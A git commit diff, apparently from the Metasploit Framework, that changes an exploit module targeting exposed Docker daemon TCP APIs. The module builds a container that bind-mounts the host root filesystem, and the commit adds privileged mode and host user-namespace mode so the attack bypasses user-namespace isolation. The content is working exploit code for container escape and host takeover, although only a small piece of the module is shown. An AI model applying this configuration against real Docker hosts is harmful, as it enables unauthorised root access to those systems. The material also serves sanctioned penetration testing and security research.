bypass user namespaces

mpizala · mpizala · commit 33e5508bcb41 · 2017-11-15T15:14:58.000+01:00
diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb
@@ -120,7 +120,9 @@ def make_container(mnt_path, cron_path, payload_path)
       'HostConfig' => {
         'Binds'    => [
           '/:' + mnt_path
-        ]
+        ],
+        'Privileged' => true,
+        'UsernsMode' => 'host'
       }
     }
   end

Original file line number	Diff line number	Diff line change
`@@ -120,7 +120,9 @@ def make_container(mnt_path, cron_path, payload_path)`
`120`	`120`	`'HostConfig' => {`
`121`	`121`	`'Binds' => [`
`122`	`122`	`'/:' + mnt_path`
`123`		`- ]`
	`123`	`+ ],`
	`124`	`+ 'Privileged' => true,`
	`125`	`+ 'UsernsMode' => 'host'`
`124`	`126`	`}`
`125`	`127`	`}`
`126`	`128`	`end`